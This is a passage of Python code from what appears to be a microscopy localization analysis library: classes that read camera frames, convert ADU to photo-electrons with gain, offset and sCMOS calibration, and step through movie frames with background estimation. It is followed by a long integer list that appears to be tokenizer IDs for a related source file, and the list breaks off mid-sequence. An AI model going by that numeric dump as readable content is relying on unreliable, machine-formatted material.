if metadata is None:
self.i3data.close()
else:
self.i3data.closeWithMetadata(metadata)
class FrameReader(object):
"""
Wraps datareader.Reader, converts frames from ADU to photo-electrons.
"""
def __init__(self, movie_file = None, parameters = None, **kwds):
super(FrameReader, self).__init__(**kwds)
self.gain = None
self.offset = None
self.parameters = parameters
self.rqe = 1.0
self.verbose = 1
if self.parameters is not None:
self.verbose = (self.parameters.getAttr("verbosity") == 1)
self.movie_data = datareader.inferReader(movie_file)
def close(self):
self.movie_data.close()
def filmSize(self):
return self.movie_data.filmSize()
def hashID(self):
return self.movie_data.hashID()
def loadAFrame(self, frame_number):
# Load frame.
frame = self.movie_data.loadAFrame(frame_number)
# Convert from ADU to photo-electrons and correct for RQE.
frame = (frame - self.offset) * (self.gain * self.rqe)
# Set all values less than 1.0 to 1.0 as we are doing MLE fitting which
# has zero tolerance for negative numbers..
#
mask = (frame < 1.0)
if (numpy.sum(mask) > 0):
if self.verbose:
print(" Removing values < 1.0 in frame {0:0d}".format(frame_number))
frame[mask] = 1.0
return frame
class FrameReaderStd(FrameReader):
"""
Read frames from a 'standard' (as opposed to sCMOS) camera.
Note: Gain is in units of ADU / photo-electrons.
"""
def __init__(self, camera_gain = None, camera_offset = None, **kwds):
super(FrameReaderStd, self).__init__(**kwds)
if camera_gain is None:
self.gain = 1.0/self.parameters.getAttr("camera_gain")
self.offset = self.parameters.getAttr("camera_offset")
else:
self.gain = 1.0/camera_gain
self.offset = camera_offset
class FrameReaderSCMOS(FrameReader):
"""
Read frames from a sCMOS camera.
Note: Gain is in units of ADU / photo-electrons.
"""
def __init__(self, calibration_file = None, **kwds):
super(FrameReaderSCMOS, self).__init__(**kwds)
if calibration_file is None:
[self.offset, variance, gain, rqe] = loadCMOSCalibration(self.parameters.getAttr("camera_calibration"),
verbose = True)
else:
[self.offset, variance, gain, rqe] = loadCMOSCalibration(calibration_file,
verbose = True)
self.gain = 1.0/gain
self.rqe = 1.0/rqe
class MovieReader(object):
"""
Encapsulate getting the frames of a movie from a datareader.Reader, handling
static_background, which frame to start on, etc...
The primary reason for using a class like this is to add the flexibility
necessary in order to make the peakFinding() function also work with
multi-channel data / analysis.
"""
def __init__(self, frame_reader = None, parameters = None, **kwds):
super(MovieReader, self).__init__(**kwds)
self.background = None
self.bg_estimator = None
self.cur_frame = -1
self.frame_reader = frame_reader
self.frame = None
self.max_frame = None
[self.movie_x, self.movie_y, self.movie_l] = frame_reader.filmSize()
self.parameters = parameters
def close(self):
self.frame_reader.close()
def getBackground(self):
return self.background
def getCurrentFrameNumber(self):
return self.cur_frame
def getFrame(self):
return self.frame
def getMovieL(self):
return self.movie_l
def getMovieX(self):
return self.movie_x
def getMovieY(self):
return self.movie_y
def hashID(self):
return self.frame_reader.hashID()
def nextFrame(self):
self.cur_frame += 1
if (self.cur_frame < self.max_frame):
# Update background estimate.
if self.bg_estimator is not None:
self.background = self.bg_estimator.estimateBG(self.cur_frame)
# Load frame.
self.frame = self.frame_reader.loadAFrame(self.cur_frame)
return True
else:
return False
def setup(self, start_frame):
# Figure out where to start.
self.cur_frame = start_frame
if self.parameters.hasAttr("start_frame"):
if (self.parameters.getAttr("start_frame") > self.cur_frame):
if (self.parameters.getAttr("start_frame") < self.movie_l):
self.cur_frame = self.parameters.getAttr("start_frame") - 1
# Figure out where to stop.
self.max_frame = self.movie_l
if self.parameters.hasAttr("max_frame"):
if (self.parameters.getAttr("max_frame") > 0):
if (self.parameters.getAttr("max_frame") < self.movie_l):
self.max_frame = self.parameters.getAttr("max_frame")
# Configure background estimator, if any.
if (self.parameters.getAttr("static_background_estimate", 0) > 0):
print("Using static background estimator.")
s_size = self.parameters.getAttr("static_background_estimate")
self.bg_estimator = static_background.StaticBGEstimator(self.frame_reader,
start_frame = self.cur_frame,
sample_size = s_size)
| [
1,
396,
29914,
4855,
29914,
2109,
29914,
6272,
3017,
13,
15945,
29908,
13,
4290,
29914,
6466,
4413,
393,
526,
1304,
491,
29871,
29941,
29928,
29899,
7698,
3718,
12054,
29892,
269,
24494,
3267,
29892,
317,
572,
4983,
13,
392,
14974,
22116,
7418,
29889,
13,
13,
29950,
834,
264,
29871,
29900,
29929,
29914,
29896,
29955,
13,
15945,
29908,
13,
5215,
12655,
13,
5215,
2897,
13,
5215,
10876,
13,
13,
3166,
4903,
29889,
300,
929,
1053,
10619,
9643,
13,
13,
5215,
14280,
29918,
15916,
29889,
4977,
29918,
5258,
29889,
1272,
16950,
408,
848,
16950,
13,
5215,
14280,
29918,
15916,
29889,
4977,
29918,
5258,
29889,
16744,
408,
8636,
13,
5215,
14280,
29918,
15916,
29889,
4977,
29918,
5258,
29889,
949,
1144,
523,
29941,
408,
1303,
1144,
523,
29941,
13,
5215,
14280,
29918,
15916,
29889,
4977,
29918,
5258,
29889,
4977,
29918,
29882,
29945,
2272,
408,
872,
29950,
29945,
19737,
13,
5215,
14280,
29918,
15916,
29889,
4977,
29918,
5258,
29889,
7959,
29918,
7042,
408,
2294,
29918,
7042,
13,
5215,
14280,
29918,
15916,
29889,
4977,
29918,
5258,
29889,
3539,
1144,
523,
29941,
408,
2436,
1144,
523,
29941,
13,
13,
13,
1990,
24352,
20477,
29898,
2451,
1125,
13,
1678,
1209,
13,
13,
13,
1753,
338,
13992,
342,
5809,
29898,
9507,
1125,
13,
1678,
9995,
13,
1678,
16969,
5852,
565,
278,
1208,
26218,
934,
338,
278,
9281,
3402,
29889,
910,
13,
1678,
338,
11149,
1304,
363,
6724,
29889,
13,
1678,
9995,
13,
1678,
848,
353,
12655,
29889,
1359,
29898,
9507,
29892,
2758,
29918,
23945,
280,
353,
5852,
29897,
13,
1678,
736,
313,
2435,
29898,
1272,
29897,
1275,
29871,
29945,
29897,
322,
313,
1272,
29961,
29946,
29962,
1275,
29871,
29906,
29897,
13,
13,
13,
1753,
2254,
24494,
3267,
7856,
26218,
29898,
9507,
29892,
26952,
353,
7700,
1125,
13,
1678,
9995,
13,
1678,
315,
29924,
3267,
1208,
26218,
934,
9591,
29889,
910,
674,
736,
278,
315,
29924,
3267,
1208,
26218,
29871,
13,
1678,
848,
408,
263,
1051,
518,
10289,
29892,
20162,
29892,
11581,
29892,
364,
29939,
29872,
1822,
13,
13,
1678,
9210,
448,
349,
15711,
9210,
297,
10340,
310,
11033,
29965,
29889,
13,
1678,
20162,
448,
349,
15711,
20162,
297,
10340,
310,
11033,
29965,
29930,
3035,
29965,
29889,
13,
1678,
11581,
448,
349,
15711,
11581,
297,
10340,
310,
11033,
29965,
847,
15373,
29899,
15436,
1617,
313,
29872,
29899,
467,
13,
1678,
364,
29939,
29872,
448,
349,
15711,
6198,
12101,
19201,
29892,
9927,
2222,
29892,
372,
881,
367,
2820,
29871,
29896,
29889,
29900,
29889,
13,
1678,
13,
1678,
10422,
448,
450,
1024,
310,
1208,
26218,
934,
29889,
910,
881,
505,
1063,
7160,
13,
1669,
773,
12655,
29889,
7620,
29889,
13,
1678,
9995,
13,
1678,
848,
353,
12655,
29889,
1359,
29898,
9507,
29892,
2758,
29918,
23945,
280,
353,
5852,
29897,
13,
268,
13,
1678,
396,
5399,
363,
325,
29900,
3402,
29889,
268,
13,
1678,
565,
313,
2435,
29898,
1272,
29897,
1275,
29871,
29941,
1125,
13,
4706,
565,
26952,
29901,
13,
9651,
1596,
703,
6594,
29871,
29900,
269,
24494,
3267,
1208,
26218,
934,
17809,
29991,
4103,
1066,
292,
29991,
1159,
13,
13,
4706,
364,
29939,
29872,
353,
12655,
29889,
2873,
29918,
4561,
29898,
1272,
29961,
29900,
2314,
13,
4706,
848,
353,
1051,
29898,
1272,
29897,
718,
518,
29878,
29939,
29872,
29962,
13,
4706,
736,
2910,
29898,
23749,
29889,
3286,
4220,
29892,
848,
29897,
13,
13,
1678,
396,
5399,
363,
325,
29896,
3402,
29889,
13,
1678,
25342,
313,
2435,
29898,
1272,
29897,
1275,
29871,
29946,
1125,
13,
4706,
565,
26952,
29901,
13,
9651,
1596,
703,
6594,
29871,
29896,
269,
24494,
3267,
1208,
26218,
934,
17809,
29991,
5293,
29871,
29896,
29889,
29900,
363,
6198,
660,
29923,
1409,
29991,
1159,
13,
632,
13,
4706,
396,
325,
29896,
3402,
29889,
13,
4706,
565,
313,
1272,
29961,
29941,
29962,
1275,
29871,
29896,
1125,
13,
9651,
364,
29939,
29872,
353,
12655,
29889,
2873,
29918,
4561,
29898,
1272,
29961,
29900,
2314,
13,
9651,
5694,
353,
1051,
29898,
1272,
7503,
29941,
2314,
13,
9651,
5694,
29889,
4397,
29898,
29878,
29939,
29872,
29897,
13,
9651,
736,
5694,
13,
13,
1678,
396,
5399,
363,
325,
29906,
3402,
29889,
13,
1678,
25342,
313,
2435,
29898,
1272,
29897,
1275,
29871,
29945,
1125,
13,
308,
13,
4706,
396,
325,
29906,
3402,
29889,
13,
4706,
565,
313,
1272,
29961,
29946,
29962,
1275,
29871,
29906,
1125,
13,
9651,
736,
1051,
29898,
1272,
7503,
29946,
2314,
13,
13,
1678,
12020,
24352,
20477,
703,
14148,
269,
24494,
3267,
848,
3402,
23157,
13,
13,
268,
13,
1990,
3630,
10507,
29898,
3318,
1125,
13,
1678,
9995,
13,
1678,
11346,
2547,
5987,
14238,
278,
1962,
310,
278,
19224,
1284,
261,
29914,
29888,
5171,
29889,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
848,
29918,
1445,
353,
6213,
29892,
3579,
11022,
6289,
1125,
13,
4706,
2428,
29898,
1469,
10507,
29892,
1583,
467,
1649,
2344,
12035,
1068,
11022,
6289,
29897,
13,
13,
4706,
1583,
29889,
9507,
353,
848,
29918,
1445,
13,
4706,
1583,
29889,
29876,
29918,
23959,
353,
29871,
29900,
13,
4706,
1583,
29889,
2962,
29918,
2557,
353,
448,
29896,
13,
4706,
1583,
29889,
7827,
29918,
412,
10327,
353,
29871,
29900,
13,
13,
1678,
822,
788,
15666,
10327,
29898,
1311,
29892,
1236,
10327,
29892,
14064,
29918,
16950,
1125,
13,
4706,
1583,
29889,
29876,
29918,
23959,
353,
1236,
10327,
3366,
29916,
16862,
2311,
13,
4706,
1583,
29889,
7827,
29918,
412,
10327,
4619,
1583,
29889,
29876,
29918,
23959,
13,
13,
1678,
822,
679,
4557,
2528,
287,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
29876,
29918,
23959,
13,
268,
13,
1678,
822,
679,
3434,
3871,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
9507,
13,
13,
1678,
822,
679,
4763,
4308,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
2962,
29918,
2557,
13,
308,
13,
1678,
822,
679,
11536,
15666,
10327,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
7827,
29918,
412,
10327,
13,
13,
13,
1990,
3630,
10507,
29950,
4037,
29945,
29898,
1469,
10507,
1125,
13,
1678,
9995,
13,
1678,
11346,
2547,
5987,
14238,
278,
1962,
310,
278,
19224,
1284,
261,
29914,
29888,
5171,
304,
263,
379,
4037,
29945,
934,
29889,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4128,
353,
6213,
29892,
872,
29918,
1853,
353,
6213,
29892,
3579,
11022,
6289,
1125,
13,
4706,
2428,
29898,
1469,
10507,
29950,
4037,
29945,
29892,
1583,
467,
1649,
2344,
12035,
1068,
11022,
6289,
29897,
13,
13,
4706,
1583,
29889,
27362,
29918,
3888,
29918,
842,
353,
7700,
13,
462,
13,
4706,
565,
2897,
29889,
2084,
29889,
9933,
29898,
1311,
29889,
9507,
1125,
13,
9651,
1596,
703,
1252,
15423,
7418,
934,
1476,
29889,
11654,
442,
292,
515,
1833,
29537,
287,
3515,
23157,
13,
9651,
1583,
29889,
29882,
29945,
353,
872,
29950,
29945,
19737,
29889,
8132,
29950,
29945,
19737,
29898,
9507,
353,
1583,
29889,
9507,
29897,
13,
13,
9651,
1583,
29889,
27362,
29918,
3888,
29918,
842,
353,
5852,
13,
632,
13,
9651,
396,
10987,
278,
1833,
3515,
393,
591,
29537,
287,
29889,
13,
9651,
474,
353,
1583,
29889,
29882,
29945,
29889,
657,
18749,
6513,
580,
13,
9651,
1550,
313,
29875,
1405,
29871,
29900,
1125,
13,
18884,
565,
1583,
29889,
29882,
29945,
29889,
275,
21067,
12339,
287,
29898,
29875,
1125,
13,
462,
1678,
2867,
13,
18884,
474,
22361,
29871,
29896,
13,
9651,
1583,
29889,
2962,
29918,
2557,
353,
474,
13,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
29882,
29945,
353,
872,
29950,
29945,
19737,
29889,
8132,
29950,
29945,
19737,
29898,
9507,
353,
1583,
29889,
9507,
29892,
13,
462,
462,
1678,
338,
29918,
735,
15423,
353,
7700,
29892,
13,
462,
462,
1678,
872,
29918,
1853,
353,
872,
29918,
1853,
29897,
13,
632,
13,
9651,
396,
16913,
7418,
4128,
29889,
13,
9651,
634,
929,
353,
4128,
29889,
517,
29990,
29924,
1307,
944,
9643,
29898,
8824,
29897,
13,
9651,
565,
313,
9675,
29889,
3259,
29918,
3888,
1405,
313,
29941,
29892,
29871,
29900,
22164,
13,
18884,
1583,
29889,
29882,
29945,
29889,
1202,
18417,
29898,
2642,
9643,
29889,
517,
1807,
29898,
300,
929,
29892,
525,
2523,
356,
8785,
13,
9651,
1683,
29901,
13,
18884,
1583,
29889,
29882,
29945,
29889,
1202,
18417,
29898,
2642,
9643,
29889,
517,
1807,
29898,
300,
929,
29892,
525,
29096,
29899,
29947,
29947,
29945,
29929,
29899,
29896,
8785,
13,
462,
13,
9651,
396,
16913,
15526,
2159,
29889,
13,
9651,
1583,
29889,
29882,
29945,
29889,
842,
29637,
3505,
29898,
16744,
29889,
657,
25098,
703,
29886,
15711,
29918,
2311,
5783,
13,
13,
4706,
1583,
29889,
29882,
29945,
29889,
842,
21067,
4848,
12881,
3276,
29898,
8824,
29897,
13,
13,
1678,
822,
788,
15666,
10327,
29898,
1311,
29892,
1236,
10327,
29892,
14064,
29918,
16950,
1125,
13,
4706,
2428,
29898,
1469,
10507,
29950,
4037,
29945,
29892,
1583,
467,
1202,
15666,
10327,
29898,
412,
10327,
29892,
14064,
29918,
16950,
29897,
13,
13,
4706,
565,
451,
1583,
29889,
27362,
29918,
3888,
29918,
842,
29901,
13,
9651,
1583,
29889,
29882,
29945,
29889,
1202,
18749,
20350,
29898,
27362,
29918,
16950,
29897,
13,
9651,
1583,
29889,
27362,
29918,
3888,
29918,
842,
353,
5852,
13,
13,
4706,
1583,
29889,
29882,
29945,
29889,
1202,
7717,
17063,
29898,
412,
10327,
29892,
14064,
29918,
16950,
29889,
657,
7583,
4308,
4557,
3101,
13,
13,
1678,
822,
3802,
29898,
1311,
29892,
7743,
1125,
13,
4706,
1583,
29889,
29882,
29945,
29889,
842,
21067,
4848,
12881,
3276,
29898,
4951,
3276,
29897,
13,
4706,
1583,
29889,
29882,
29945,
29889,
5358,
29898,
369,
15828,
353,
5852,
29897,
13,
13,
308,
13,
1990,
3630,
10507,
29902,
29941,
29898,
1469,
10507,
1125,
13,
1678,
9995,
13,
1678,
11346,
2547,
5987,
14238,
278,
1962,
310,
278,
19224,
1284,
261,
29914,
29888,
5171,
304,
385,
13377,
523,
29941,
3402,
934,
29889,
13,
13,
1678,
3940,
29901,
910,
3402,
338,
18164,
29889,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4128,
353,
6213,
29892,
3579,
11022,
6289,
1125,
13,
4706,
2428,
29898,
1469,
10507,
29902,
29941,
29892,
1583,
467,
1649,
2344,
12035,
1068,
11022,
6289,
29897,
13,
13,
4706,
12020,
8960,
703,
15156,
278,
13377,
523,
29941,
3402,
363,
7418,
338,
18164,
29991,
1159,
13,
13,
4706,
1583,
29889,
29886,
15711,
29918,
2311,
353,
4128,
29889,
657,
25098,
703,
29886,
15711,
29918,
2311,
1159,
13,
462,
13,
4706,
396,
13,
4706,
396,
960,
278,
474,
29941,
934,
2307,
4864,
29892,
1303,
372,
297,
29892,
2436,
372,
13,
4706,
396,
714,
304,
19012,
363,
6257,
278,
7418,
515,
278,
13,
4706,
396,
1095,
310,
825,
5279,
4864,
29889,
13,
4706,
396,
13,
4706,
396,
383,
6415,
2303,
29901,
960,
278,
5923,
934,
338,
2289,
2919,
727,
13,
4706,
396,
4706,
1033,
367,
4828,
1244,
408,
591,
29915,
276,
2675,
304,
2254,
13,
4706,
396,
4706,
278,
3353,
2655,
964,
3370,
29889,
13,
4706,
396,
13,
4706,
565,
29898,
359,
29889,
2084,
29889,
9933,
29898,
1311,
29889,
9507,
22164,
13,
9651,
1596,
703,
9692,
613,
1583,
29889,
9507,
29897,
13,
9651,
474,
29941,
1272,
29918,
262,
353,
1303,
1144,
523,
29941,
29889,
1359,
29902,
29941,
2283,
29898,
1311,
29889,
9507,
29897,
13,
9651,
565,
313,
29875,
29941,
1272,
29918,
262,
338,
6213,
29897,
470,
313,
29875,
29941,
1272,
29918,
262,
29889,
2311,
1275,
29871,
29900,
1125,
13,
18884,
1583,
29889,
2962,
29918,
2557,
353,
29871,
29900,
13,
9651,
1683,
29901,
13,
18884,
1583,
29889,
2962,
29918,
2557,
353,
938,
29898,
23749,
29889,
3317,
29898,
29875,
29941,
1272,
29918,
262,
1839,
1341,
25901,
13,
13,
9651,
1596,
703,
23748,
7418,
472,
3515,
29901,
613,
1583,
29889,
2962,
29918,
2557,
29897,
13,
9651,
1583,
29889,
29875,
29941,
1272,
353,
2436,
1144,
523,
29941,
29889,
29902,
29941,
10507,
29898,
1311,
29889,
9507,
29897,
13,
9651,
565,
313,
1311,
29889,
2962,
29918,
2557,
1405,
29871,
29900,
1125,
13,
18884,
1583,
29889,
29875,
29941,
1272,
29889,
1202,
29924,
1772,
21337,
29898,
29875,
29941,
1272,
29918,
262,
29897,
13,
18884,
1583,
29889,
7827,
29918,
412,
10327,
353,
474,
29941,
1272,
29918,
262,
1839,
29916,
13359,
2311,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
2962,
29918,
2557,
353,
29871,
29900,
13,
9651,
1583,
29889,
29875,
29941,
1272,
353,
2436,
1144,
523,
29941,
29889,
29902,
29941,
10507,
29898,
1311,
29889,
9507,
29897,
13,
13,
1678,
822,
788,
15666,
10327,
29898,
1311,
29892,
1236,
10327,
29892,
14064,
29918,
16950,
1125,
13,
4706,
2428,
29898,
1469,
10507,
29902,
29941,
29892,
1583,
467,
1202,
15666,
10327,
29898,
412,
10327,
29892,
14064,
29918,
16950,
29897,
13,
4706,
1583,
29889,
29875,
29941,
1272,
29889,
1202,
15329,
29943,
277,
29924,
1772,
21337,
29898,
412,
10327,
29892,
13,
462,
462,
308,
14064,
29918,
16950,
29889,
657,
18749,
29990,
3285,
13,
462,
462,
308,
14064,
29918,
16950,
29889,
657,
18749,
29979,
3285,
13,
462,
462,
308,
14064,
29918,
16950,
29889,
657,
7583,
4308,
4557,
3285,
13,
462,
462,
308,
1583,
29889,
29886,
15711,
29918,
2311,
29897,
13,
13,
1678,
822,
3802,
29898,
1311,
29892,
15562,
353,
6213,
1125,
13,
4706,
565,
15562,
338,
6213,
29901,
13,
9651,
1583,
29889,
29875,
29941,
1272,
29889,
5358,
580,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
29875,
29941,
1272,
29889,
5358,
3047,
18417,
29898,
19635,
29897,
13,
13,
13,
1990,
12218,
6982,
29898,
3318,
1125,
13,
1678,
9995,
13,
1678,
399,
336,
567,
848,
16950,
29889,
6982,
29892,
29436,
16608,
515,
11033,
29965,
304,
15373,
29899,
15436,
12628,
29889,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
14064,
29918,
1445,
353,
6213,
29892,
4128,
353,
6213,
29892,
3579,
11022,
6289,
1125,
13,
4706,
2428,
29898,
4308,
6982,
29892,
1583,
467,
1649,
2344,
12035,
1068,
11022,
6289,
29897,
13,
13,
4706,
1583,
29889,
29887,
475,
353,
6213,
13,
4706,
1583,
29889,
10289,
353,
6213,
13,
4706,
1583,
29889,
16744,
353,
4128,
13,
4706,
1583,
29889,
29878,
29939,
29872,
353,
29871,
29896,
29889,
29900,
13,
4706,
1583,
29889,
369,
15828,
353,
29871,
29896,
13,
4706,
565,
1583,
29889,
16744,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
369,
15828,
353,
313,
1311,
29889,
16744,
29889,
657,
25098,
703,
18248,
359,
537,
1159,
1275,
29871,
29896,
29897,
13,
4706,
1583,
29889,
27362,
29918,
1272,
353,
848,
16950,
29889,
262,
571,
6982,
29898,
27362,
29918,
1445,
29897,
13,
13,
1678,
822,
3802,
29898,
1311,
1125,
13,
4706,
1583,
29889,
27362,
29918,
1272,
29889,
5358,
580,
13,
13,
1678,
822,
2706,
3505,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
27362,
29918,
1272,
29889,
9663,
3505,
580,
13,
13,
1678,
822,
6608,
1367,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
27362,
29918,
1272,
29889,
8568,
1367,
580,
13,
13,
1678,
822,
2254,
29909,
4308,
29898,
1311,
29892,
3515,
29918,
4537,
1125,
13,
13,
4706,
396,
16012,
3515,
29889,
13,
4706,
3515,
353,
1583,
29889,
27362,
29918,
1272,
29889,
1359,
29909,
4308,
29898,
2557,
29918,
4537,
29897,
13,
13,
4706,
396,
14806,
515,
11033,
29965,
304,
15373,
29899,
15436,
12628,
322,
1959,
363,
390,
29984,
29923,
29889,
13,
4706,
3515,
353,
313,
2557,
448,
1583,
29889,
10289,
29897,
334,
313,
1311,
29889,
29887,
475,
334,
1583,
29889,
29878,
29939,
29872,
29897,
13,
13,
4706,
396,
3789,
599,
1819,
3109,
1135,
29871,
29896,
29889,
29900,
304,
29871,
29896,
29889,
29900,
408,
591,
526,
2599,
341,
1307,
28221,
607,
13,
4706,
396,
756,
5225,
20341,
749,
363,
8178,
3694,
636,
13,
4706,
396,
13,
4706,
11105,
353,
313,
2557,
529,
29871,
29896,
29889,
29900,
29897,
13,
4706,
565,
313,
23749,
29889,
2083,
29898,
13168,
29897,
1405,
29871,
29900,
1125,
13,
9651,
565,
1583,
29889,
369,
15828,
29901,
13,
18884,
1596,
703,
5240,
21081,
1819,
529,
29871,
29896,
29889,
29900,
297,
3515,
426,
29900,
29901,
29900,
29881,
29913,
1642,
4830,
29898,
2557,
29918,
4537,
876,
13,
9651,
3515,
29961,
13168,
29962,
353,
29871,
29896,
29889,
29900,
13,
13,
4706,
736,
3515,
13,
13,
13,
1990,
12218,
6982,
855,
29881,
29898,
4308,
6982,
1125,
13,
1678,
9995,
13,
1678,
7523,
16608,
515,
263,
525,
15770,
29915,
313,
294,
15869,
304,
269,
24494,
3267,
29897,
10656,
29889,
13,
13,
1678,
3940,
29901,
402,
475,
338,
297,
10340,
310,
11033,
29965,
847,
15373,
29899,
15436,
12628,
29889,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
10656,
29918,
29887,
475,
353,
6213,
29892,
10656,
29918,
10289,
353,
6213,
29892,
3579,
11022,
6289,
1125,
13,
4706,
2428,
29898,
4308,
6982,
855,
29881,
29892,
1583,
467,
1649,
2344,
12035,
1068,
11022,
6289,
29897,
13,
13,
4706,
565,
10656,
29918,
29887,
475,
338,
6213,
29901,
13,
9651,
1583,
29889,
29887,
475,
353,
29871,
29896,
29889,
29900,
29914,
1311,
29889,
16744,
29889,
657,
25098,
703,
26065,
29918,
29887,
475,
1159,
13,
9651,
1583,
29889,
10289,
353,
1583,
29889,
16744,
29889,
657,
25098,
703,
26065,
29918,
10289,
1159,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
29887,
475,
353,
29871,
29896,
29889,
29900,
29914,
26065,
29918,
29887,
475,
13,
9651,
1583,
29889,
10289,
353,
10656,
29918,
10289,
13,
13,
308,
13,
1990,
12218,
6982,
7187,
29924,
3267,
29898,
4308,
6982,
1125,
13,
1678,
9995,
13,
1678,
7523,
16608,
515,
263,
269,
24494,
3267,
10656,
29889,
13,
13,
1678,
3940,
29901,
402,
475,
338,
297,
10340,
310,
11033,
29965,
847,
15373,
29899,
15436,
12628,
29889,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1208,
26218,
29918,
1445,
353,
6213,
29892,
3579,
11022,
6289,
1125,
13,
4706,
2428,
29898,
4308,
6982,
7187,
29924,
3267,
29892,
1583,
467,
1649,
2344,
12035,
1068,
11022,
6289,
29897,
13,
308,
13,
4706,
565,
1208,
26218,
29918,
1445,
338,
6213,
29901,
13,
9651,
518,
1311,
29889,
10289,
29892,
20162,
29892,
11581,
29892,
364,
29939,
29872,
29962,
353,
2254,
24494,
3267,
7856,
26218,
29898,
1311,
29889,
16744,
29889,
657,
25098,
703,
26065,
29918,
1052,
26218,
4968,
13,
462,
462,
462,
462,
268,
26952,
353,
5852,
29897,
13,
4706,
1683,
29901,
13,
9651,
518,
1311,
29889,
10289,
29892,
20162,
29892,
11581,
29892,
364,
29939,
29872,
29962,
353,
2254,
24494,
3267,
7856,
26218,
29898,
1052,
26218,
29918,
1445,
29892,
13,
462,
462,
462,
462,
268,
26952,
353,
5852,
29897,
13,
4706,
1583,
29889,
29887,
475,
353,
29871,
29896,
29889,
29900,
29914,
29887,
475,
13,
4706,
1583,
29889,
29878,
29939,
29872,
353,
29871,
29896,
29889,
29900,
29914,
29878,
29939,
29872,
13,
13,
268,
13,
1990,
7871,
6982,
29898,
3318,
1125,
13,
1678,
9995,
13,
1678,
11346,
2547,
5987,
2805,
278,
16608,
310,
263,
14064,
515,
263,
848,
16950,
29889,
6982,
29892,
11415,
13,
1678,
2294,
29918,
7042,
29892,
607,
3515,
304,
1369,
373,
29892,
2992,
856,
13,
13,
1678,
450,
7601,
2769,
363,
773,
263,
770,
763,
445,
338,
304,
788,
278,
8525,
4127,
13,
1678,
5181,
297,
1797,
304,
1207,
278,
19224,
29943,
4015,
580,
740,
884,
664,
411,
13,
1678,
2473,
29899,
12719,
848,
847,
7418,
29889,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3515,
29918,
16950,
353,
6213,
29892,
4128,
353,
6213,
29892,
3579,
11022,
6289,
1125,
13,
4706,
2428,
29898,
18749,
6982,
29892,
1583,
467,
1649,
2344,
12035,
1068,
11022,
6289,
29897,
13,
13,
4706,
1583,
29889,
7042,
353,
6213,
13,
4706,
1583,
29889,
16264,
29918,
342,
326,
1061,
353,
6213,
13,
4706,
1583,
29889,
2764,
29918,
2557,
353,
448,
29896,
13,
4706,
1583,
29889,
2557,
29918,
16950,
353,
3515,
29918,
16950,
13,
4706,
1583,
29889,
2557,
353,
6213,
13,
4706,
1583,
29889,
3317,
29918,
2557,
353,
6213,
13,
4706,
518,
1311,
29889,
27362,
29918,
29916,
29892,
1583,
29889,
27362,
29918,
29891,
29892,
1583,
29889,
27362,
29918,
29880,
29962,
353,
3515,
29918,
16950,
29889,
9663,
3505,
580,
13,
4706,
1583,
29889,
16744,
353,
4128,
13,
13,
1678,
822,
3802,
29898,
1311,
1125,
13,
4706,
1583,
29889,
2557,
29918,
16950,
29889,
5358,
580,
13,
308,
13,
1678,
822,
679,
10581,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
7042,
13,
13,
1678,
822,
679,
7583,
4308,
4557,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
2764,
29918,
2557,
13,
268,
13,
1678,
822,
679,
4308,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
2557,
13,
13,
1678,
822,
679,
18749,
29931,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
27362,
29918,
29880,
13,
268,
13,
1678,
822,
679,
18749,
29990,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
27362,
29918,
29916,
13,
13,
1678,
822,
679,
18749,
29979,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
27362,
29918,
29891,
13,
13,
1678,
822,
6608,
1367,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
2557,
29918,
16950,
29889,
8568,
1367,
580,
13,
13,
1678,
822,
2446,
4308,
29898,
1311,
1125,
13,
4706,
1583,
29889,
2764,
29918,
2557,
4619,
29871,
29896,
13,
4706,
565,
313,
1311,
29889,
2764,
29918,
2557,
529,
1583,
29889,
3317,
29918,
2557,
1125,
13,
13,
9651,
396,
10318,
3239,
12678,
29889,
13,
9651,
565,
1583,
29889,
16264,
29918,
342,
326,
1061,
338,
451,
6213,
29901,
13,
18884,
1583,
29889,
7042,
353,
1583,
29889,
16264,
29918,
342,
326,
1061,
29889,
342,
6490,
29933,
29954,
29898,
1311,
29889,
2764,
29918,
2557,
29897,
13,
13,
9651,
396,
16012,
3515,
29889,
13,
9651,
1583,
29889,
2557,
353,
1583,
29889,
2557,
29918,
16950,
29889,
1359,
29909,
4308,
29898,
1311,
29889,
2764,
29918,
2557,
29897,
13,
13,
9651,
736,
5852,
13,
4706,
1683,
29901,
13,
9651,
736,
7700,
13,
308,
13,
1678,
822,
6230,
29898,
1311,
29892,
1369,
29918,
2557,
1125,
13,
13,
4706,
396,
11479,
714,
988,
304,
1369,
29889,
13,
4706,
1583,
29889,
2764,
29918,
2557,
353,
1369,
29918,
2557,
13,
4706,
565,
1583,
29889,
16744,
29889,
5349,
25098,
703,
2962,
29918,
2557,
29908,
1125,
13,
9651,
565,
313,
1311,
29889,
16744,
29889,
657,
25098,
703,
2962,
29918,
2557,
1159,
1405,
1583,
29889,
2764,
29918,
2557,
1125,
13,
18884,
565,
313,
1311,
29889,
16744,
29889,
657,
25098,
703,
2962,
29918,
2557,
1159,
529,
1583,
29889,
27362,
29918,
29880,
1125,
13,
462,
